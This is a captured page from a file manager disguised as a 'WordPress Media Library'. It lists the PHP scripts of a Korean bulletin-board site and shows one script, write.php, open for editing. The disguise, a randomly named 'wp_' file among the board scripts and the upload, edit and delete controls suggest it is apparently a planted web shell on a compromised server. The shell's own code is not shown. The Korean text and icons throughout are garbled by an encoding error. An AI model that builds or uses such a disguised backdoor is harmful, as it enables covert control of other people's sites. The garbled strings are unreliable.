โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: write.php
Size: 16.11 KB | Modified: 2019-12-05 09:09:25
<?php include_once('./_common.php'); include_once(G5_EDITOR_LIB); include_once(G5_CAPTCHA_PATH.'/captcha.lib.php'); if (!$board['bo_table']) { alert('์กด์ฌํ์ง ์๋ ๊ฒ์ํ์ ๋๋ค.', G5_URL); } if (!$bo_table) { alert("bo_table ๊ฐ์ด ๋์ด์ค์ง ์์์ต๋๋ค.\\nwrite.php?bo_table=code ์ ๊ฐ์ ๋ฐฉ์์ผ๋ก ๋๊ฒจ ์ฃผ์ธ์.", G5_URL); } check_device($board['bo_device']); $notice_array = explode(',', trim($board['bo_notice'])); if (!($w == '' || $w == 'u' || $w == 'r')) { alert('w ๊ฐ์ด ์ ๋๋ก ๋์ด์ค์ง ์์์ต๋๋ค.'); } if ($w == 'u' || $w == 'r') { if ($write['wr_id']) { // ๊ฐ๋ณ ๋ณ์๋ก $wr_1 .. $wr_10 ๊น์ง ๋ง๋ ๋ค. for ($i=1; $i<=10; $i++) { $vvar = "wr_".$i; $$vvar = $write['wr_'.$i]; } } else { alert("๊ธ์ด ์กด์ฌํ์ง ์์ต๋๋ค.\\n์ญ์ ๋์๊ฑฐ๋ ์ด๋๋ ๊ฒฝ์ฐ์ ๋๋ค.", G5_URL); } } run_event('bbs_write', $board, $wr_id, $w); if ($w == '') { if ($wr_id) { alert('๊ธ์ฐ๊ธฐ์๋ \$wr_id ๊ฐ์ ์ฌ์ฉํ์ง ์์ต๋๋ค.', G5_BBS_URL.'/board.php?bo_table='.$bo_table); } if ($member['mb_level'] < $board['bo_write_level']) { if ($member['mb_id']) { alert('๊ธ์ ์ธ ๊ถํ์ด ์์ต๋๋ค.'); } else { alert("๊ธ์ ์ธ ๊ถํ์ด ์์ต๋๋ค.\\nํ์์ด์๋ผ๋ฉด ๋ก๊ทธ์ธ ํ ์ด์ฉํด ๋ณด์ญ์์ค.", G5_BBS_URL.'/login.php?'.$qstr.'&url='.urlencode($_SERVER['SCRIPT_NAME'].'?bo_table='.$bo_table)); } } // ์์๋ true ์ธ๊ฒ์ ์ ์ด์ ์ผ ์์์๊น? if ($is_member) { $tmp_point = ($member['mb_point'] > 0) ? $member['mb_point'] : 0; if ($tmp_point + $board['bo_write_point'] < 0 && !$is_admin) { alert('๋ณด์ ํ์ ํฌ์ธํธ('.number_format($member['mb_point']).')๊ฐ ์๊ฑฐ๋ ๋ชจ์๋ผ์ ๊ธ์ฐ๊ธฐ('.number_format($board['bo_write_point']).')๊ฐ ๋ถ๊ฐํฉ๋๋ค.\\n\\nํฌ์ธํธ๋ฅผ ์ ๋ฆฝํ์ ํ ๋ค์ ๊ธ์ฐ๊ธฐ ํด ์ฃผ์ญ์์ค.'); } } $title_msg = '๊ธ์ฐ๊ธฐ'; } else if ($w == 'u') { // ๊น์ ์ฉ 1.00 : ๊ธ์ฐ๊ธฐ ๊ถํ๊ณผ ์์ ์ ๋ณ๋๋ก ์ฒ๋ฆฌ๋์ด์ผ ํจ //if ($member['mb_level'] < $board['bo_write_level']) { if($member['mb_id'] && $write['mb_id'] === $member['mb_id']) { ; } else if ($member['mb_level'] < $board['bo_write_level']) { if ($member['mb_id']) { alert('๊ธ์ ์์ ํ ๊ถํ์ด ์์ต๋๋ค.'); } else { alert('๊ธ์ ์์ ํ ๊ถํ์ด ์์ต๋๋ค.\\n\\nํ์์ด์๋ผ๋ฉด ๋ก๊ทธ์ธ ํ ์ด์ฉํด ๋ณด์ญ์์ค.', G5_BBS_URL.'/login.php?'.$qstr.'&url='.urlencode($_SERVER['SCRIPT_NAME'].'?bo_table='.$bo_table)); } } $len = strlen($write['wr_reply']); if ($len < 0) $len = 0; $reply = substr($write['wr_reply'], 0, $len); // ์๊ธ๋ง ๊ตฌํ๋ค. $sql = " select count(*) as cnt from {$write_table} where wr_reply like '{$reply}%' and wr_id <> '{$write['wr_id']}' and wr_num = '{$write['wr_num']}' and wr_is_comment = 0 "; $row = sql_fetch($sql); if ($row['cnt'] && !$is_admin) alert('์ด ๊ธ๊ณผ ๊ด๋ จ๋ ๋ต๋ณ๊ธ์ด ์กด์ฌํ๋ฏ๋ก ์์ ํ ์ ์์ต๋๋ค.\\n\\n๋ต๋ณ๊ธ์ด ์๋ ์๊ธ์ ์์ ํ ์ ์์ต๋๋ค.'); // ์ฝ๋ฉํธ ๋ฌ๋ฆฐ ์๊ธ์ ์์ ์ฌ๋ถ $sql = " select count(*) as cnt from {$write_table} where wr_parent = '{$wr_id}' and mb_id <> '{$member['mb_id']}' and wr_is_comment = 1 "; $row = sql_fetch($sql); if ($board['bo_count_modify'] && $row['cnt'] >= $board['bo_count_modify'] && !$is_admin) alert('์ด ๊ธ๊ณผ ๊ด๋ จ๋ ๋๊ธ์ด ์กด์ฌํ๋ฏ๋ก ์์ ํ ์ ์์ต๋๋ค.\\n\\n๋๊ธ์ด '.$board['bo_count_modify'].'๊ฑด ์ด์ ๋ฌ๋ฆฐ ์๊ธ์ ์์ ํ ์ ์์ต๋๋ค.'); $title_msg = '๊ธ์์ '; } else if ($w == 'r') { if ($member['mb_level'] < $board['bo_reply_level']) { if ($member['mb_id']) alert('๊ธ์ ๋ต๋ณํ ๊ถํ์ด ์์ต๋๋ค.'); else alert('๋ต๋ณ๊ธ์ ์์ฑํ ๊ถํ์ด ์์ต๋๋ค.\\n\\nํ์์ด์๋ผ๋ฉด ๋ก๊ทธ์ธ ํ ์ด์ฉํด ๋ณด์ญ์์ค.', G5_BBS_URL.'/login.php?'.$qstr.'&url='.urlencode($_SERVER['SCRIPT_NAME'].'?bo_table='.$bo_table)); } $tmp_point = isset($member['mb_point']) ? $member['mb_point'] : 0; if ($tmp_point + $board['bo_write_point'] < 0 && !$is_admin) alert('๋ณด์ ํ์ ํฌ์ธํธ('.number_format($member['mb_point']).')๊ฐ ์๊ฑฐ๋ ๋ชจ์๋ผ์ ๊ธ๋ต๋ณ('.number_format($board['bo_comment_point']).')๊ฐ ๋ถ๊ฐํฉ๋๋ค.\\n\\nํฌ์ธํธ๋ฅผ ์ ๋ฆฝํ์ ํ ๋ค์ ๊ธ๋ต๋ณ ํด ์ฃผ์ญ์์ค.'); //if (preg_match("/[^0-9]{0,1}{$wr_id}[\r]{0,1}/",$board['bo_notice'])) if (in_array((int)$wr_id, $notice_array)) alert('๊ณต์ง์๋ ๋ต๋ณ ํ ์ ์์ต๋๋ค.'); //---------- // 4.06.13 : ๋น๋ฐ๊ธ์ ํ์ธ์ด ์ด๋ํ ์ ์๋ ์ค๋ฅ ์์ (ํ๋ญ์ด, ํ๋ก๋๊ป์ ์๋ ค์ฃผ์ จ์ต๋๋ค.) // ์ฝ๋ฉํธ์๋ ์๊ธ์ ๋ต๋ณ์ด ๋ถ๊ฐํ๋ฏ๋ก if ($write['wr_is_comment']) alert('์ ์์ ์ธ ์ ๊ทผ์ด ์๋๋๋ค.'); // ๋น๋ฐ๊ธ์ธ์ง๋ฅผ ๊ฒ์ฌ if (strstr($write['wr_option'], 'secret')) { if ($write['mb_id']) { // ํ์์ ๊ฒฝ์ฐ๋ ํด๋น ๊ธ์ด ํ์ ๋ฐ ๊ด๋ฆฌ์ if (!($write['mb_id'] === $member['mb_id'] || $is_admin)) alert('๋น๋ฐ๊ธ์๋ ์์ ๋๋ ๊ด๋ฆฌ์๋ง ๋ต๋ณ์ด ๊ฐ๋ฅํฉ๋๋ค.'); } else { // ๋นํ์์ ๊ฒฝ์ฐ๋ ๋น๋ฐ๊ธ์ ๋ต๋ณ์ด ๋ถ๊ฐํจ if (!$is_admin) alert('๋นํ์์ ๋น๋ฐ๊ธ์๋ ๋ต๋ณ์ด ๋ถ๊ฐํฉ๋๋ค.'); } } //---------- // ๊ฒ์๊ธ ๋ฐฐ์ด ์ฐธ์กฐ $reply_array = &$write; // ์ต๋ ๋ต๋ณ์ ํ ์ด๋ธ์ ์ก์๋์ wr_reply ์ฌ์ด์ฆ๋งํผ๋ง ๊ฐ๋ฅํฉ๋๋ค. if (strlen($reply_array['wr_reply']) == 10) alert('๋ ์ด์ ๋ต๋ณํ์ค ์ ์์ต๋๋ค.\\n\\n๋ต๋ณ์ 10๋จ๊ณ ๊น์ง๋ง ๊ฐ๋ฅํฉ๋๋ค.'); $reply_len = strlen($reply_array['wr_reply']) + 1; if ($board['bo_reply_order']) { $begin_reply_char = 'A'; $end_reply_char = 'Z'; $reply_number = +1; $sql = " select MAX(SUBSTRING(wr_reply, {$reply_len}, 1)) as reply from {$write_table} where wr_num = '{$reply_array['wr_num']}' and SUBSTRING(wr_reply, {$reply_len}, 1) <> '' "; } else { $begin_reply_char = 'Z'; $end_reply_char = 'A'; $reply_number = -1; $sql = " select MIN(SUBSTRING(wr_reply, {$reply_len}, 1)) as reply from {$write_table} where wr_num = '{$reply_array['wr_num']}' and SUBSTRING(wr_reply, {$reply_len}, 1) <> '' "; } if ($reply_array['wr_reply']) $sql .= " and wr_reply like '{$reply_array['wr_reply']}%' "; $row = sql_fetch($sql); if (!$row['reply']) $reply_char = $begin_reply_char; else if ($row['reply'] == $end_reply_char) // A~Z์ 26 ์ ๋๋ค. alert('๋ ์ด์ ๋ต๋ณํ์ค ์ ์์ต๋๋ค.\\n\\n๋ต๋ณ์ 26๊ฐ ๊น์ง๋ง ๊ฐ๋ฅํฉ๋๋ค.'); else $reply_char = chr(ord($row['reply']) + $reply_number); $reply = $reply_array['wr_reply'] . $reply_char; $title_msg = '๊ธ๋ต๋ณ'; $write['wr_subject'] = 'Re: '.$write['wr_subject']; } // ๊ทธ๋ฃน์ ๊ทผ ๊ฐ๋ฅ if (!empty($group['gr_use_access'])) { if ($is_guest) { alert("์ ๊ทผ ๊ถํ์ด ์์ต๋๋ค.\\n\\nํ์์ด์๋ผ๋ฉด ๋ก๊ทธ์ธ ํ ์ด์ฉํด ๋ณด์ญ์์ค.", 'login.php?'.$qstr.'&url='.urlencode($_SERVER['SCRIPT_NAME'].'?bo_table='.$bo_table)); } if ($is_admin == 'super' || $group['gr_admin'] === $member['mb_id'] || $board['bo_admin'] === $member['mb_id']) { ; // ํต๊ณผ } else { // ๊ทธ๋ฃน์ ๊ทผ $sql = " select gr_id from {$g5['group_member_table']} where gr_id = '{$board['gr_id']}' and mb_id = '{$member['mb_id']}' "; $row = sql_fetch($sql); if (!$row['gr_id']) alert('์ ๊ทผ ๊ถํ์ด ์์ผ๋ฏ๋ก ๊ธ์ฐ๊ธฐ๊ฐ ๋ถ๊ฐํฉ๋๋ค.\\n\\n๊ถ๊ธํ์ ์ฌํญ์ ๊ด๋ฆฌ์์๊ฒ ๋ฌธ์ ๋ฐ๋๋๋ค.'); } } // ๋ณธ์ธํ์ธ์ ์ฌ์ฉํ๋ค๋ฉด if ($config['cf_cert_use'] && !$is_admin) { // ์ธ์ฆ๋ ํ์๋ง ๊ฐ๋ฅ if ($board['bo_use_cert'] != '' && $is_guest) { alert('์ด ๊ฒ์ํ์ ๋ณธ์ธํ์ธ ํ์ ํ์๋๋ง ๊ธ์ฐ๊ธฐ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.\\n\\nํ์์ด์๋ผ๋ฉด ๋ก๊ทธ์ธ ํ ์ด์ฉํด ๋ณด์ญ์์ค.', 'login.php?'.$qstr.'&url='.urlencode($_SERVER['SCRIPT_NAME'].'?bo_table='.$bo_table)); } if ($board['bo_use_cert'] == 'cert' && !$member['mb_certify']) { alert('์ด ๊ฒ์ํ์ ๋ณธ์ธํ์ธ ํ์ ํ์๋๋ง ๊ธ์ฐ๊ธฐ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.\\n\\nํ์์ ๋ณด ์์ ์์ ๋ณธ์ธํ์ธ์ ํด์ฃผ์๊ธฐ ๋ฐ๋๋๋ค.', G5_URL); } if ($board['bo_use_cert'] == 'adult' && !$member['mb_adult']) { alert('์ด ๊ฒ์ํ์ ๋ณธ์ธํ์ธ์ผ๋ก ์ฑ์ธ์ธ์ฆ ๋ ํ์๋๋ง ๊ธ์ฐ๊ธฐ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.\\n\\n์ฑ์ธ์ธ๋ฐ ๊ธ์ฐ๊ธฐ๊ฐ ์๋๋ค๋ฉด ํ์์ ๋ณด ์์ ์์ ๋ณธ์ธํ์ธ์ ๋ค์ ํด์ฃผ์๊ธฐ ๋ฐ๋๋๋ค.', G5_URL); } if ($board['bo_use_cert'] == 'hp-cert' && $member['mb_certify'] != 'hp') { alert('์ด ๊ฒ์ํ์ ํด๋ํฐ ๋ณธ์ธํ์ธ ํ์ ํ์๋๋ง ๊ธ์ฝ๊ธฐ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.\\n\\nํ์์ ๋ณด ์์ ์์ ํด๋ํฐ ๋ณธ์ธํ์ธ์ ํด์ฃผ์๊ธฐ ๋ฐ๋๋๋ค.', G5_URL); } if ($board['bo_use_cert'] == 'hp-adult' && (!$member['mb_adult'] || $member['mb_certify'] != 'hp')) { alert('์ด ๊ฒ์ํ์ ํด๋ํฐ ๋ณธ์ธํ์ธ์ผ๋ก ์ฑ์ธ์ธ์ฆ ๋ ํ์๋๋ง ๊ธ์ฝ๊ธฐ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.\\n\\nํ์ฌ ์ฑ์ธ์ธ๋ฐ ๊ธ์ฝ๊ธฐ๊ฐ ์๋๋ค๋ฉด ํ์์ ๋ณด ์์ ์์ ํด๋ํฐ ๋ณธ์ธํ์ธ์ ๋ค์ ํด์ฃผ์๊ธฐ ๋ฐ๋๋๋ค.', G5_URL); } } // ๊ธ์์ ์ ํ ์ค์ ๊ฐ if ($is_admin || $board['bo_use_dhtml_editor']) { $write_min = $write_max = 0; } else { $write_min = (int)$board['bo_write_min']; $write_max = (int)$board['bo_write_max']; } $g5['title'] = ((G5_IS_MOBILE && $board['bo_mobile_subject']) ? $board['bo_mobile_subject'] : $board['bo_subject']).' '.$title_msg; $is_notice = false; $notice_checked = ''; if ($is_admin && $w != 'r') { $is_notice = true; if ($w == 'u') { // ๋ต๋ณ ์์ ์ ๊ณต์ง ์ฒดํฌ ์์ if ($write['wr_reply']) { $is_notice = false; } else { if (in_array((int)$wr_id, $notice_array)) { $notice_checked = 'checked'; } } } } $is_html = false; if ($member['mb_level'] >= $board['bo_html_level']) $is_html = true; $is_secret = $board['bo_use_secret']; $is_mail = false; if ($config['cf_email_use'] && $board['bo_use_email']) $is_mail = true; $recv_email_checked = ''; if ($w == '' || strstr($write['wr_option'], 'mail')) $recv_email_checked = 'checked'; $is_name = false; $is_password = false; $is_email = false; $is_homepage = false; if ($is_guest || ($is_admin && $w == 'u' && $member['mb_id'] !== $write['mb_id'])) { $is_name = true; $is_password = true; $is_email = true; $is_homepage = true; } $is_category = false; $category_option = ''; if ($board['bo_use_category']) { $ca_name = ""; if (isset($write['ca_name'])) $ca_name = $write['ca_name']; $category_option = get_category_option($bo_table, $ca_name); $is_category = true; } $is_link = false; if ($member['mb_level'] >= $board['bo_link_level']) { $is_link = true; } $is_file = false; if ($member['mb_level'] >= $board['bo_upload_level']) { $is_file = true; } $is_file_content = false; if ($board['bo_use_file_content']) { $is_file_content = true; } $file_count = (int)$board['bo_upload_count']; $name = ""; $email = ""; $homepage = ""; if ($w == "" || $w == "r") { if ($is_member) { if (isset($write['wr_name'])) { $name = get_text(cut_str(stripslashes($write['wr_name']),20)); } $email = get_email_address($member['mb_email']); $homepage = get_text(stripslashes($member['mb_homepage'])); } } $html_checked = ""; $html_value = ""; $secret_checked = ""; if ($w == '') { $password_required = 'required'; } else if ($w == 'u') { $password_required = ''; if (!$is_admin) { if (!($is_member && $member['mb_id'] === $write['mb_id'])) { if (!check_password($wr_password, $write['wr_password'])) { $is_wrong = run_replace('invalid_password', false, 'write', $write); if(!$is_wrong) alert('๋น๋ฐ๋ฒํธ๊ฐ ํ๋ฆฝ๋๋ค.'); } } } $name = get_text(cut_str(stripslashes($write['wr_name']),20)); $email = get_email_address($write['wr_email']); $homepage = get_text(stripslashes($write['wr_homepage'])); for ($i=1; $i<=G5_LINK_COUNT; $i++) { $write['wr_link'.$i] = get_text($write['wr_link'.$i]); $link[$i] = $write['wr_link'.$i]; } if (strstr($write['wr_option'], 'html1')) { $html_checked = 'checked'; $html_value = 'html1'; } else if (strstr($write['wr_option'], 'html2')) { $html_checked = 'checked'; $html_value = 'html2'; } if (strstr($write['wr_option'], 'secret')) { $secret_checked = 'checked'; } $file = get_file($bo_table, $wr_id); if($file_count < $file['count']) $file_count = $file['count']; } else if ($w == 'r') { if (strstr($write['wr_option'], 'secret')) { $is_secret = true; $secret_checked = 'checked'; } $password_required = "required"; for ($i=1; $i<=G5_LINK_COUNT; $i++) { $write['wr_link'.$i] = get_text($write['wr_link'.$i]); } } set_session('ss_bo_table', $_REQUEST['bo_table']); set_session('ss_wr_id', $_REQUEST['wr_id']); $subject = ""; if (isset($write['wr_subject'])) { $subject = str_replace("\"", """, get_text(cut_str($write['wr_subject'], 255), 0)); } $content = ''; if ($w == '') { $content = html_purifier($board['bo_insert_content']); } else if ($w == 'r') { if (!strstr($write['wr_option'], 'html')) { $content = "\n\n\n > " ."\n > " ."\n > ".str_replace("\n", "\n> ", get_text($write['wr_content'], 0)) ."\n > " ."\n > "; } } else { $content = get_text($write['wr_content'], 0); } $upload_max_filesize = number_format($board['bo_upload_size']) . ' ๋ฐ์ดํธ'; $width = $board['bo_table_width']; if ($width <= 100) $width .= '%'; else $width .= 'px'; $captcha_html = ''; $captcha_js = ''; $is_use_captcha = ((($board['bo_use_captcha'] && $w !== 'u') || $is_guest) && !$is_admin) ? 1 : 0; if ($is_use_captcha) { $captcha_html = captcha_html(); $captcha_js = chk_captcha_js(); } $is_dhtml_editor = false; $is_dhtml_editor_use = false; $editor_content_js = ''; if(!is_mobile() || defined('G5_IS_MOBILE_DHTML_USE') && G5_IS_MOBILE_DHTML_USE) $is_dhtml_editor_use = true; // ๋ชจ๋ฐ์ผ์์๋ G5_IS_MOBILE_DHTML_USE ์ค์ ์ ๋ฐ๋ผ DHTML ์๋ํฐ ์ ์ฉ if ($config['cf_editor'] && $is_dhtml_editor_use && $board['bo_use_dhtml_editor'] && $member['mb_level'] >= $board['bo_html_level']) { $is_dhtml_editor = true; if ( $w == 'u' && (! $is_member || ! $is_admin || $write['mb_id'] !== $member['mb_id']) ){ // kisa ์ทจ์ฝ์ ์ ๋ณด xss ํํฐ ์ ์ฉ $content = get_text(html_purifier($write['wr_content']), 0); } if(is_file(G5_EDITOR_PATH.'/'.$config['cf_editor'].'/autosave.editor.js')) $editor_content_js = '<script src="'.G5_EDITOR_URL.'/'.$config['cf_editor'].'/autosave.editor.js"></script>'.PHP_EOL; } $editor_html = editor_html('wr_content', $content, $is_dhtml_editor); $editor_js = ''; $editor_js .= get_editor_js('wr_content', $is_dhtml_editor); $editor_js .= chk_editor_js('wr_content', $is_dhtml_editor); // ์์ ์ ์ฅ๋ ๊ธ ์ $autosave_count = autosave_count($member['mb_id']); include_once(G5_PATH.'/head.sub.php'); @include_once ($board_skin_path.'/write.head.skin.php'); include_once('./board_head.php'); $action_url = https_url(G5_BBS_DIR)."/write_update.php"; echo '<!-- skin : '.(G5_IS_MOBILE ? $board['bo_mobile_skin'] : $board['bo_skin']).' -->'; include_once ($board_skin_path.'/write.skin.php'); include_once('./board_tail.php'); @include_once ($board_skin_path.'/write.tail.skin.php'); include_once(G5_PATH.'/tail.sub.php'); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete